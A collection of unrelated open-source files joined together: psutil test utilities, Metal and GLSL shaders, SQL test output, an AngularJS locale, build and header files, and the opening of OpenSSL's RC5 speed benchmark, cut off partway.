"""A context manager which returns a non-existent file name
and tries to delete it on exit.
"""
assert psutil.POSIX
path = unique_filename(suffix=suffix)
try:
yield path
finally:
try:
os.unlink(path)
except OSError:
pass
def bind_socket(family=AF_INET, type=SOCK_STREAM, addr=None):
"""Binds a generic socket."""
if addr is None and family in (AF_INET, AF_INET6):
addr = ("", 0)
sock = socket.socket(family, type)
try:
if os.name not in ('nt', 'cygwin'):
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(addr)
if type == socket.SOCK_STREAM:
sock.listen(5)
return sock
except Exception:
sock.close()
raise
def bind_unix_socket(name, type=socket.SOCK_STREAM):
"""Bind a UNIX socket."""
assert psutil.POSIX
assert not os.path.exists(name), name
sock = socket.socket(socket.AF_UNIX, type)
try:
sock.bind(name)
if type == socket.SOCK_STREAM:
sock.listen(5)
except Exception:
sock.close()
raise
return sock
def tcp_socketpair(family, addr=("", 0)):
"""Build a pair of TCP sockets connected to each other.
Return a (server, client) tuple.
"""
with contextlib.closing(socket.socket(family, SOCK_STREAM)) as ll:
ll.bind(addr)
ll.listen(5)
addr = ll.getsockname()
c = socket.socket(family, SOCK_STREAM)
try:
c.connect(addr)
caddr = c.getsockname()
while True:
a, addr = ll.accept()
# check that we've got the correct client
if addr == caddr:
return (a, c)
a.close()
except OSError:
c.close()
raise
def unix_socketpair(name):
"""Build a pair of UNIX sockets connected to each other through
the same UNIX file name.
Return a (server, client) tuple.
"""
assert psutil.POSIX
server = client = None
try:
server = bind_unix_socket(name, type=socket.SOCK_STREAM)
server.setblocking(0)
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client.setblocking(0)
client.connect(name)
# new = server.accept()
except Exception:
if server is not None:
server.close()
if client is not None:
client.close()
raise
return (server, client)
@contextlib.contextmanager
def create_sockets():
"""Open as many socket families / types as possible."""
socks = []
fname1 = fname2 = None
try:
socks.append(bind_socket(socket.AF_INET, socket.SOCK_STREAM))
socks.append(bind_socket(socket.AF_INET, socket.SOCK_DGRAM))
if supports_ipv6():
socks.append(bind_socket(socket.AF_INET6, socket.SOCK_STREAM))
socks.append(bind_socket(socket.AF_INET6, socket.SOCK_DGRAM))
if POSIX and HAS_CONNECTIONS_UNIX:
fname1 = unix_socket_path().__enter__()
fname2 = unix_socket_path().__enter__()
s1, s2 = unix_socketpair(fname1)
s3 = bind_unix_socket(fname2, type=socket.SOCK_DGRAM)
# self.addCleanup(safe_rmpath, fname1)
# self.addCleanup(safe_rmpath, fname2)
for s in (s1, s2, s3):
socks.append(s)
yield socks
finally:
for s in socks:
s.close()
if fname1 is not None:
safe_rmpath(fname1)
if fname2 is not None:
safe_rmpath(fname2)
def check_net_address(addr, family):
"""Check a net address validity. Supported families are IPv4,
IPv6 and MAC addresses.
"""
import ipaddress # python >= 3.3 / requires "pip install ipaddress"
if enum and PY3:
assert isinstance(family, enum.IntEnum), family
if family == socket.AF_INET:
octs = [int(x) for x in addr.split('.')]
assert len(octs) == 4, addr
for num in octs:
assert 0 <= num <= 255, addr
if not PY3:
addr = unicode(addr)
ipaddress.IPv4Address(addr)
elif family == socket.AF_INET6:
assert isinstance(addr, str), addr
if not PY3:
addr = unicode(addr)
ipaddress.IPv6Address(addr)
elif family == psutil.AF_LINK:
assert re.match(r'([a-fA-F0-9]{2}[:|\-]?){6}', addr) is not None, addr
else:
raise ValueError("unknown family %r", family)
# ===================================================================
# --- compatibility
# ===================================================================
def reload_module(module):
"""Backport of importlib.reload of Python 3.3+."""
try:
import importlib
if not hasattr(importlib, 'reload'): # python <=3.3
raise ImportError
except ImportError:
import imp
return imp.reload(module)
else:
return importlib.reload(module)
def import_module_by_path(path):
name = os.path.splitext(os.path.basename(path))[0]
if sys.version_info[0] == 2:
import imp
return imp.load_source(name, path)
elif sys.version_info[:2] <= (3, 4):
from importlib.machinery import SourceFileLoader
return SourceFileLoader(name, path).load_module()
else:
import importlib.util
spec = importlib.util.spec_from_file_location(name, path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
return mod
# ===================================================================
# --- others
# ===================================================================
def warn(msg):
"""Raise a warning msg."""
warnings.warn(msg, UserWarning)
def is_namedtuple(x):
"""Check if object is an instance of namedtuple."""
t = type(x)
b = t.__bases__
if len(b) != 1 or b[0] != tuple:
return False
f = getattr(t, '_fields', None)
if not isinstance(f, tuple):
return False
return all(type(n) == str for n in f)
if POSIX:
@contextlib.contextmanager
def copyload_shared_lib(dst_prefix=TESTFILE_PREFIX):
"""Ctx manager which picks up a random shared CO lib used
by this process, copies it in another location and loads it
in memory via ctypes. Return the new absolutized path.
"""
exe = 'pypy' if PYPY else 'python'
ext = ".so"
dst = tempfile.mktemp(prefix=dst_prefix, suffix=ext)
libs = [x.path for x in psutil.Process().memory_maps() if
os.path.splitext(x.path)[1] == ext and
exe in x.path.lower()]
src = random.choice(libs)
shutil.copyfile(src, dst)
try:
ctypes.CDLL(dst)
yield dst
finally:
safe_rmpath(dst)
else:
@contextlib.contextmanager
def copyload_shared_lib(dst_prefix=TESTFILE_PREFIX):
"""Ctx manager which picks up a random shared DLL lib used
by this process, copies it in another location and loads it
in memory via ctypes.
Return the new absolutized, normcased path.
"""
from ctypes import wintypes
from ctypes import WinError
ext = ".dll"
dst = tempfile.mktemp(prefix=dst_prefix, suffix=ext)
libs = [x.path for x in psutil.Process().memory_maps() if
x.path.lower().endswith(ext) and
'python' in os.path.basename(x.path).lower() and
'wow64' not in x.path.lower()]
if PYPY and not libs:
libs = [x.path for x in psutil.Process().memory_maps() if
'pypy' in os.path.basename(x.path).lower()]
src = random.choice(libs)
shutil.copyfile(src, dst)
cfile = None
try:
cfile = ctypes.WinDLL(dst)
yield dst
finally:
# Work around OverflowError:
# - https://ci.appveyor.com/project/giampaolo/psutil/build/1207/
# job/o53330pbnri9bcw7
# - http://bugs.python.org/issue30286
# - http://stackoverflow.com/questions/23522055
if cfile is not None:
FreeLibrary = ctypes.windll.kernel32.FreeLibrary
FreeLibrary.argtypes = [wintypes.HMODULE]
ret = FreeLibrary(cfile._handle)
if ret == 0:
WinError()
safe_rmpath(dst)
| {
"pile_set_name": "Github"
} |
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct Inputs {
};
struct Outputs {
float4 sk_FragColor [[color(0)]];
};
fragment Outputs fragmentMain(Inputs _in [[stage_in]], bool _frontFacing [[front_facing]], float4 _fragCoord [[position]]) {
Outputs _outputStruct;
thread Outputs* _out = &_outputStruct;
bool expr1 = float4(_fragCoord.x, _fragCoord.y, 0.0, _fragCoord.w).x > 0.0;
bool expr2 = float4(_fragCoord.x, _fragCoord.y, 0.0, _fragCoord.w).y > 0.0;
if (expr1) {
_out->sk_FragColor.x = 1.0;
} else if (!expr1) {
_out->sk_FragColor.x = 3.0;
} else if (expr2) {
_out->sk_FragColor.x = 4.0;
} else if (expr2) {
_out->sk_FragColor.x = 5.0;
} else {
_out->sk_FragColor.x = 6.0;
}
if (expr1) {
_out->sk_FragColor.x = 1.0;
} else if (!expr1) {
_out->sk_FragColor.x = 3.0;
} else if (expr2) {
_out->sk_FragColor.x = 4.0;
} else if (expr2) {
_out->sk_FragColor.x = 5.0;
} else {
_out->sk_FragColor.x = 6.0;
}
return *_out;
}
| {
"pile_set_name": "Github"
} |
#version 330 core
// please send comments or report bug to: [email protected]
//#extension GL_EXT_geometry_shader4 : enable
layout(points) in;
layout(triangle_strip, max_vertices=4) out;
uniform mat4 MV;
uniform mat4 PROJ;
uniform float sphere_radius;
uniform bool clippingPlaneEnabled = false;
uniform bool crossSectionEnabled = false;
uniform vec4 clippingPlane0;
uniform vec4 clippingPlane1;
in vec4 sphere_color_in[];
//in float sphere_radius_in;
out Data {
flat vec4 sphere_color;
smooth vec2 tex;
flat vec4 position;
//flat float sphere_radius;
} DataOut;
void main()
{
// Output vertex position
DataOut.position = MV * gl_in[0].gl_Position;
DataOut.sphere_color = sphere_color_in[0];
//sphere_radius = sphere_radius_in;
// Vertex 1
DataOut.tex = vec2(-1.0, -1.0);
gl_Position = DataOut.position;
gl_Position.xy += vec2(-sphere_radius, -sphere_radius);
gl_Position = PROJ * gl_Position;
if (clippingPlaneEnabled) {
gl_ClipDistance[0] = dot(gl_in[0].gl_Position, clippingPlane0);
if (crossSectionEnabled)
gl_ClipDistance[1] = dot(gl_in[0].gl_Position, clippingPlane1);
}
// In the geometry language, gl_PrimitiveID is an output variable that is passed to the corresponding gl_PrimitiveID input variable in
// the fragment shader.If no geomery shader is present then gl_PrimitiveID in the fragment language behaves identically as it would in
// the tessellation control and evaluation languages.If a geometry shader is present but does not write to gl_PrimitiveID, the value
// of gl_PrimitiveID in the fragment shader is undefined.
gl_PrimitiveID = gl_PrimitiveIDIn;
EmitVertex();
// Vertex 2
DataOut.tex = vec2(-1.0, 1.0);
gl_Position = DataOut.position;
gl_Position.xy += vec2(-sphere_radius, sphere_radius);
gl_Position = PROJ * gl_Position;
if (clippingPlaneEnabled) {
gl_ClipDistance[0] = dot(gl_in[0].gl_Position, clippingPlane0);
if (crossSectionEnabled)
gl_ClipDistance[1] = dot(gl_in[0].gl_Position, clippingPlane1);
}
// In the geometry language, gl_PrimitiveID is an output variable that is passed to the corresponding gl_PrimitiveID input variable in
// the fragment shader.If no geomery shader is present then gl_PrimitiveID in the fragment language behaves identically as it would in
// the tessellation control and evaluation languages.If a geometry shader is present but does not write to gl_PrimitiveID, the value
// of gl_PrimitiveID in the fragment shader is undefined.
gl_PrimitiveID = gl_PrimitiveIDIn;
EmitVertex();
// Vertex 3
DataOut.tex = vec2(1.0, -1.0);
gl_Position = DataOut.position;
gl_Position.xy += vec2(sphere_radius, -sphere_radius);
gl_Position = PROJ * gl_Position;
if (clippingPlaneEnabled) {
gl_ClipDistance[0] = dot(gl_in[0].gl_Position, clippingPlane0);
if (crossSectionEnabled)
gl_ClipDistance[1] = dot(gl_in[0].gl_Position, clippingPlane1);
}
// In the geometry language, gl_PrimitiveID is an output variable that is passed to the corresponding gl_PrimitiveID input variable in
// the fragment shader.If no geomery shader is present then gl_PrimitiveID in the fragment language behaves identically as it would in
// the tessellation control and evaluation languages.If a geometry shader is present but does not write to gl_PrimitiveID, the value
// of gl_PrimitiveID in the fragment shader is undefined.
gl_PrimitiveID = gl_PrimitiveIDIn;
EmitVertex();
// Vertex 4
DataOut.tex = vec2(1.0, 1.0);
gl_Position = DataOut.position;
gl_Position.xy += vec2(sphere_radius, sphere_radius);
gl_Position = PROJ * gl_Position;
if (clippingPlaneEnabled) {
gl_ClipDistance[0] = dot(gl_in[0].gl_Position, clippingPlane0);
if (crossSectionEnabled)
gl_ClipDistance[1] = dot(gl_in[0].gl_Position, clippingPlane1);
}
// In the geometry language, gl_PrimitiveID is an output variable that is passed to the corresponding gl_PrimitiveID input variable in
// the fragment shader.If no geomery shader is present then gl_PrimitiveID in the fragment language behaves identically as it would in
// the tessellation control and evaluation languages.If a geometry shader is present but does not write to gl_PrimitiveID, the value
// of gl_PrimitiveID in the fragment shader is undefined.
gl_PrimitiveID = gl_PrimitiveIDIn;
EmitVertex();
EndPrimitive();
}
| {
"pile_set_name": "Github"
} |
/***************************************************************************
Copyright 2015 Ufora Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
****************************************************************************/
#pragma once
#include "../../Primitives/StringImpl.hppml"
#include "../../Native/TypedNativeExpression.hppml"
template<class T>
class NativeTypeForImpl;
template<>
class NativeTypeForImpl<StringImpl> {
public:
static NativeType get();
};
template<>
class TypedNativeExpressionBehaviors<StringImpl*> {
public:
TypedNativeExpressionBehaviors(NativeExpression e) : mThis(e)
{
}
TypedNativeExpression<size_t> size() const;
private:
NativeExpression mThis;
};
| {
"pile_set_name": "Github"
} |
CREATE EXTENSION pgstattuple;
--
-- It's difficult to come up with platform-independent test cases for
-- the pgstattuple functions, but the results for empty tables and
-- indexes should be that.
--
create table test (a int primary key, b int[]);
select * from pgstattuple('test'::text);
table_len | tuple_count | tuple_len | tuple_percent | dead_tuple_count | dead_tuple_len | dead_tuple_percent | free_space | free_percent
-----------+-------------+-----------+---------------+------------------+----------------+--------------------+------------+--------------
0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0
(1 row)
select * from pgstattuple('test'::regclass);
table_len | tuple_count | tuple_len | tuple_percent | dead_tuple_count | dead_tuple_len | dead_tuple_percent | free_space | free_percent
-----------+-------------+-----------+---------------+------------------+----------------+--------------------+------------+--------------
0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0
(1 row)
select * from pgstatindex('test_pkey');
version | tree_level | index_size | root_block_no | internal_pages | leaf_pages | empty_pages | deleted_pages | avg_leaf_density | leaf_fragmentation
---------+------------+------------+---------------+----------------+------------+-------------+---------------+------------------+--------------------
2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | NaN | NaN
(1 row)
select pg_relpages('test');
pg_relpages
-------------
0
(1 row)
select pg_relpages('test_pkey');
pg_relpages
-------------
1
(1 row)
create index test_ginidx on test using gin (b);
select * from pgstatginindex('test_ginidx');
version | pending_pages | pending_tuples
---------+---------------+----------------
1 | 0 | 0
(1 row)
| {
"pile_set_name": "Github"
} |
'use strict';
angular.module("ngLocale", [], ["$provide", function($provide) {
var PLURAL_CATEGORY = {ZERO: "zero", ONE: "one", TWO: "two", FEW: "few", MANY: "many", OTHER: "other"};
$provide.value("$locale", {
"DATETIME_FORMATS": {
"AMPMS": [
"de.",
"du."
],
"DAY": [
"vas\u00e1rnap",
"h\u00e9tf\u0151",
"kedd",
"szerda",
"cs\u00fct\u00f6rt\u00f6k",
"p\u00e9ntek",
"szombat"
],
"MONTH": [
"janu\u00e1r",
"febru\u00e1r",
"m\u00e1rcius",
"\u00e1prilis",
"m\u00e1jus",
"j\u00fanius",
"j\u00falius",
"augusztus",
"szeptember",
"okt\u00f3ber",
"november",
"december"
],
"SHORTDAY": [
"V",
"H",
"K",
"Sze",
"Cs",
"P",
"Szo"
],
"SHORTMONTH": [
"jan.",
"febr.",
"m\u00e1rc.",
"\u00e1pr.",
"m\u00e1j.",
"j\u00fan.",
"j\u00fal.",
"aug.",
"szept.",
"okt.",
"nov.",
"dec."
],
"fullDate": "y. MMMM d., EEEE",
"longDate": "y. MMMM d.",
"medium": "y. MMM d. H:mm:ss",
"mediumDate": "y. MMM d.",
"mediumTime": "H:mm:ss",
"short": "y. MM. dd. H:mm",
"shortDate": "y. MM. dd.",
"shortTime": "H:mm"
},
"NUMBER_FORMATS": {
"CURRENCY_SYM": "Ft",
"DECIMAL_SEP": ",",
"GROUP_SEP": "\u00a0",
"PATTERNS": [
{
"gSize": 3,
"lgSize": 3,
"maxFrac": 3,
"minFrac": 0,
"minInt": 1,
"negPre": "-",
"negSuf": "",
"posPre": "",
"posSuf": ""
},
{
"gSize": 3,
"lgSize": 3,
"maxFrac": 2,
"minFrac": 2,
"minInt": 1,
"negPre": "-",
"negSuf": "\u00a0\u00a4",
"posPre": "",
"posSuf": "\u00a0\u00a4"
}
]
},
"id": "hu-hu",
"pluralCat": function(n, opt_precision) { if (n == 1) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;}
});
}]);
| {
"pile_set_name": "Github"
} |
File.file?("input.txt")
File.file?("/input.txt")
File.directory?("docs")
File.directory?("/docs")
| {
"pile_set_name": "Github"
} |
#!/usr/bin/make -f
# -*- makefile -*-
# Uncomment this to turn on verbose mode.
export DH_VERBOSE=1
NAME=tempesta-fw
DEB_NAME=$(NAME)-dkms
VERSION=$(shell dpkg-parsechangelog |grep ^Version:|cut -d ' ' -f 2)
%:
dh $@ --with dkms --with systemd
override_dh_auto_install:
dh_install tempesta_fw usr/src/$(NAME)-$(VERSION)
dh_install tempesta_db usr/src/$(NAME)-$(VERSION)
dh_install tls usr/src/$(NAME)-$(VERSION)
dh_install lib usr/src/$(NAME)-$(VERSION)
dh_install Makefile usr/src/$(NAME)-$(VERSION)
dh_install etc/* /etc/tempesta
dh_install scripts /lib/tempesta
find "debian/$(DEB_NAME)/usr/src/$(NAME)-$(VERSION)" -name '.git*' -exec rm {} \;
override_dh_dkms:
dh_dkms -V $(VERSION)
override_dh_installinit:
dh_installinit --no-start --no-restart-on-upgrade --noscripts --name=tempesta-fw
override_dh_systemd_start:
dh_systemd_start --no-start --no-restart-on-upgrade
override_dh_auto_build:
override_dh_auto_install:
override_dh_auto_clean:
override_dh_auto_test:
| {
"pile_set_name": "Github"
} |
/** @file Rect.h
@author Jukka Jylänki
This work is released to Public Domain, do whatever you want with it.
*/
#pragma once
#include <vector>
struct RectSize
{
int width;
int height;
};
struct Rect
{
int x;
int y;
int width;
int height;
};
/// Performs a lexicographic compare on (rect short side, rect long side).
/// @return -1 if the smaller side of a is shorter than the smaller side of b, 1 if the other way around.
/// If they are equal, the larger side length is used as a tie-breaker.
/// If the rectangles are of same size, returns 0.
int CompareRectShortSide(const Rect &a, const Rect &b);
/// Performs a lexicographic compare on (x, y, width, height).
int NodeSortCmp(const Rect &a, const Rect &b);
/// Returns true if a is contained in b.
inline bool IsContainedIn(const Rect &a, const Rect &b)
{
return a.x >= b.x && a.y >= b.y
&& a.x+a.width <= b.x+b.width
&& a.y+a.height <= b.y+b.height;
}
class DisjointRectCollection
{
public:
std::vector<Rect> rects;
bool Add(const Rect &r)
{
// Degenerate rectangles are ignored.
if (r.width == 0 || r.height == 0)
return true;
if (!Disjoint(r))
return false;
rects.push_back(r);
return true;
}
void Clear()
{
rects.clear();
}
bool Disjoint(const Rect &r) const
{
// Degenerate rectangles are ignored.
if (r.width == 0 || r.height == 0)
return true;
for(std::size_t i = 0; i < rects.size(); ++i)
if (!Disjoint(rects[i], r))
return false;
return true;
}
static bool Disjoint(const Rect &a, const Rect &b)
{
if (a.x + a.width <= b.x ||
b.x + b.width <= a.x ||
a.y + a.height <= b.y ||
b.y + b.height <= a.y)
return true;
return false;
}
};
| {
"pile_set_name": "Github"
} |
/**
* This header is generated by class-dump-z 0.2b.
*
* Source: /System/Library/PrivateFrameworks/OfficeImport.framework/OfficeImport
*/
#import <OfficeImport/OfficeImport-Structs.h>
#import <OfficeImport/EDSheet.h>
#import <OfficeImport/EDChartSheet.h>
@class CHDChart;
__attribute__((visibility("hidden")))
@interface EDChartSheet : EDSheet {
@private
CHDChart *mMainChart; // 60 = 0x3c
bool mIsBoundsSet; // 64 = 0x40
CGRect mBounds; // 68 = 0x44
}
@property(retain) id mainChart; // G=0x1d2839; S=0x1d25ad; converted property
@property(assign) CGRect bounds; // G=0x1d2699; S=0x1d1fb9; converted property
// converted property getter: - (id)mainChart; // 0x1d2839
// converted property setter: - (void)setMainChart:(id)chart; // 0x1d25ad
- (bool)areBoundsSet; // 0x24ce0d
// converted property getter: - (CGRect)bounds; // 0x1d2699
// converted property setter: - (void)setBounds:(CGRect)bounds; // 0x1d1fb9
- (void)addDrawable:(id)drawable; // 0x1d42c1
@end
@interface EDChartSheet (EDInternal)
- (void)teardown; // 0x17a831
@end
| {
"pile_set_name": "Github"
} |
// This source file is part of the Swift.org open source project
// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
// RUN: not %target-swift-frontend %s -typecheck
protocol A{protocol P{func f:a
func a:e}
typealias e
func f:P
| {
"pile_set_name": "Github"
} |
'use strict';
// http://www.ecma-international.org/ecma-262/5.1/#sec-9.11
module.exports = require('is-callable');
| {
"pile_set_name": "Github"
} |
<div class="modal fade" id="device_borrow_confirm">
<div class="modal-dialog">
<div class="modal-content modal-dialog-alert-middle">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
<h4 class="modal-title">
{% if device.is_ordered %}
出借
{% else %}
归还
{% endif %}
确认</h4>
</div>
<div class="modal-body">
<div class="alert alert-danger" role="alert">
<i class="fa fa-exclamation-triangle fa-fw"></i>{{ device.borrower_name }}
{% if device.is_ordered %}
出借
{% else %}
归还
{% endif %}
设备
{{ device.device.DeviceName }}
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">
取消
</button>
<button type="button" class="btn btn-danger" id="device_borrow_confirm_button">
{% if device.is_ordered %}
出借
{% else %}
归还
{% endif %}
</button>
</div>
</div><!-- /.modal-content -->
</div><!-- /.modal-dialog -->
</div><!-- /.modal -->
| {
"pile_set_name": "Github"
} |
---
- name: post_workload Tasks Complete
debug:
msg: "Pre-Software checks completed successfully - Removed"
- name: Remove user from developer group - (remove ability to create projects)
command: "oadm groups remove-users {{item}} {{ocp_username}}"
register: groupadd_register
with_items: "{{ocp_user_groups}}"
when:
- ocp_username is defined
- ocp_user_groups | default([]) | length > 0
- name: Remove user Quota - oc delete clusterresourcequota "clusterquota-{{ocp_username}}-{{guid}}"
command: oc delete clusterresourcequota clusterquota-{{ocp_username}}-{{guid}}
ignore_errors: true
- name: Remove user Quota - oc delete clusterresourcequota "clusterquota-{{ocp_username}}"
command: oc delete clusterresourcequota clusterquota-{{ocp_username}}
ignore_errors: true
- name: Remove user Projects - oc get projects
command: "oc get projects -o json"
register: all_projects
- name: Remove user Projects - Convert output to json
set_fact:
projects: "{{all_projects.stdout | from_json}}"
- name: Remove user Projects - Debug statement
debug:
msg: "found user project: {{item.metadata.name}}"
verbosity: 1
when:
- item.metadata.annotations['openshift.io/requester'] is defined
- item.metadata.annotations['openshift.io/requester'] == ocp_username
with_items: "{{projects['items']}}"
- name: Remove user Projects - "oc delete project {{item.metadata.name}}"
command: "oc delete project {{item.metadata.name}}"
when:
- item.metadata.annotations['openshift.io/requester'] is defined
- item.metadata.annotations['openshift.io/requester'] == ocp_username
- item.status.phase is defined
- item.status.phase != "Terminating"
with_items: "{{projects['items']}}"
- name: Remove user from Grading Jenkins"
command: |
oc policy remove-role-from-user view {{ocp_username}} -n {{gpte_jenkins_project}}
ignore_errors: true
- name: post_workload Tasks Complete
debug:
msg: "Post-Software checks completed successfully - Removed"
| {
"pile_set_name": "Github"
} |
import * as React from 'react';
import {StatelessAccordion, Panel} from 'baseui/accordion';
export default () => {
const [expanded, setExpanded] = React.useState<React.Key[]>([
'L1',
'L2',
]);
return (
<StatelessAccordion
expanded={expanded}
onChange={({key, expanded}) => {
console.log(key);
setExpanded(expanded);
}}
>
<Panel key="P1" title="Panel 1">
Lorem ipsum dolor sit amet, consectetur adipiscing elit.
</Panel>
<Panel key="P2" title="Panel 2">
Quisque luctus eu sem et pharetra.
</Panel>
<Panel key="P3" title="Panel 3">
Proin egestas dui sed semper iaculis.
</Panel>
</StatelessAccordion>
);
};
| {
"pile_set_name": "Github"
} |
<!--
Description: entry summary contains onmouseup
Expect: not bozo and entries[0]['summary'] == u'<img src="http://www.ragingplatypus.com/i/cam-full.jpg" />'
-->
<feed version="0.3" xmlns="http://purl.org/atom/ns#">
<entry>
<summary type="text/html" mode="escaped"><img src="http://www.ragingplatypus.com/i/cam-full.jpg" onmouseup="location.href='http://www.ragingplatypus.com/';" /></summary>
</entry>
</feed> | {
"pile_set_name": "Github"
} |
#include "../csg_sun3"
CSG_SUN3(tsun15,doc.ic.ac.uk,tsunfs.doc.ic.ac.uk,gould.doc.ic.ac.uk)
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2012-2020 Wojciech Figat. All rights reserved.
using System;
using FlaxEditor.Windows;
using FlaxEditor.Windows.Assets;
using FlaxEngine;
namespace FlaxEditor.Content
{
/// <summary>
/// A <see cref="ParticleEmitterFunction"/> asset proxy object.
/// </summary>
/// <seealso cref="FlaxEditor.Content.BinaryAssetProxy" />
public class ParticleEmitterFunctionProxy : BinaryAssetProxy
{
/// <inheritdoc />
public override string Name => "Particle Emitter Function";
/// <inheritdoc />
public override EditorWindow Open(Editor editor, ContentItem item)
{
return new ParticleEmitterFunctionWindow(editor, item as AssetItem);
}
/// <inheritdoc />
public override Color AccentColor => Color.FromRGB(0x1795a3);
/// <inheritdoc />
public override Type AssetType => typeof(ParticleEmitterFunction);
/// <inheritdoc />
public override bool CanCreate(ContentFolder targetLocation)
{
return targetLocation.CanHaveAssets;
}
/// <inheritdoc />
public override void Create(string outputPath, object arg)
{
if (Editor.CreateAsset(Editor.NewAssetType.ParticleEmitterFunction, outputPath))
throw new Exception("Failed to create new asset.");
}
}
}
| {
"pile_set_name": "Github"
} |
/* crypto/rc5/rc5speed.c */
/* Copyright (C) 1995-1998 Eric Young ([email protected])
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young ([email protected]).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson ([email protected]).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young ([email protected])"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson ([email protected])"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
/* 11-Sep-92 Andrew Daviel Support for Silicon Graphics IRIX added */
/* 06-Apr-92 Luke Brennan Support for VMS and add extra signal calls */
#if !defined(OPENSSL_SYS_MSDOS) && (!defined(OPENSSL_SYS_VMS) || defined(__DECC)) && !defined(OPENSSL_SYS_MACOSX)
#define TIMES
#endif
#include <openssl/e_os2.h>
#ifdef OPENSSL_SYS_WINDOWS
#include <stdio.h>
#endif
#include OPENSSL_UNISTD_IO
OPENSSL_DECLARE_EXIT
#ifndef OPENSSL_SYS_NETWARE
#include <signal.h>
#endif
#ifndef _IRIX
#include <time.h>
#endif
#ifdef TIMES
#include <sys/types.h>
#include <sys/times.h>
#endif
/* Depending on the VMS version, the tms structure is perhaps defined.
The __TMS macro will show if it was. If it wasn't defined, we should
undefine TIMES, since that tells the rest of the program how things
should be handled. -- Richard Levitte */
#if defined(OPENSSL_SYS_VMS_DECC) && !defined(__TMS)
#undef TIMES
#endif
#ifndef TIMES
#include <sys/timeb.h>
#endif
#if defined(sun) || defined(__ultrix)
#define _POSIX_SOURCE
#include <limits.h>
#include <sys/param.h>
#endif
#include <openssl/rc5.h>
/* The following if from times(3) man page. It may need to be changed */
#ifndef HZ
#ifndef CLK_TCK
#define HZ 100.0
#else /* CLK_TCK */
#define HZ ((double)CLK_TCK)
#endif
#endif
#define BUFSIZE ((long)1024)
long run=0;
double Time_F(int s);
#ifdef SIGALRM
#if defined(__STDC__) || defined(sgi) || defined(_AIX)
#define SIGRETTYPE void
#else
#define SIGRETTYPE int
#endif
SIGRETTYPE sig_done(int sig);
SIGRETTYPE sig_done(int sig)
{
signal(SIGALRM,sig_done);
run=0;
#ifdef LINT
sig=sig;
#endif
}
#endif
#define START 0
#define STOP 1
double Time_F(int s)
{
double ret;
#ifdef TIMES
static struct tms tstart,tend;
if (s == START)
{
times(&tstart);
return(0);
}
else
{
times(&tend);
ret=((double)(tend.tms_utime-tstart.tms_utime))/HZ;
return((ret == 0.0)?1e-6:ret);
}
#else /* !times() */
static struct timeb tstart,tend;
long i;
if (s == START)
{
ftime(&tstart);
return(0);
}
else
{
ftime(&tend);
i=(long)tend.millitm-(long)tstart.millitm;
ret=((double)(tend.time-tstart.time))+((double)i)/1e3;
return((ret == 0.0)?1e-6:ret);
}
#endif
}
int main(int argc, char **argv)
{
long count;
static unsigned char buf[BUFSIZE];
static unsigned char key[] ={
0x12,0x34,0x56,0x78,0x9a,0xbc,0xde,0xf0,
